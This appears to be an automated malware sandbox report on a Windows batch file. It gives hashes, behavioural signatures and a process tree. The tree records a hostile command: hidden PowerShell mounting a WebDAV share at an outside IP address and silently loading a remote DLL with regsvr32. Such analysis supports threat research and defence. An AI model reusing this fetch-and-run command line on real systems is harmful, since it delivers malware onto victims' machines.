Analysis

  • max time kernel
    121s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    21/07/2024, 12:53

General

  • Target

    717015525621429236.bat

  • Size

    21KB

  • MD5

    023fc36b6f674b1bc4e43f742e6437c8

  • SHA1

    59d883150c6c6fbf6c11e9ee2b7b39004607f398

  • SHA256

    7c596ff13d62e3bb14c72e2869b4e5602c1497397a08736a56335f86d4366f6e

  • SHA512

    8540e98652d047412a69c353d493f206ee40a3681ecbf25047c69911b771ae86894f53b2cb33a5a89f2cf7c9bcf9b1bbd00181b32f1fc6ebbcf7af8834b92338

  • SSDEEP

    384:2V17Fr3bUPC9q9PAwZX1uRbss4X9d+23J5YEtWYvA:2V1xzYQtE1PLtc8JBoYo

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\717015525621429236.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2208
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2704
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\11782898924082.dll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2276
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2636
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\11782898924082.dll
          3⤵
            PID:2576

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2276-23-0x000000001B700000-0x000000001B9E2000-memory.dmp

        Filesize

        2.9MB

      • memory/2276-24-0x0000000001F70000-0x0000000001F78000-memory.dmp

        Filesize

        32KB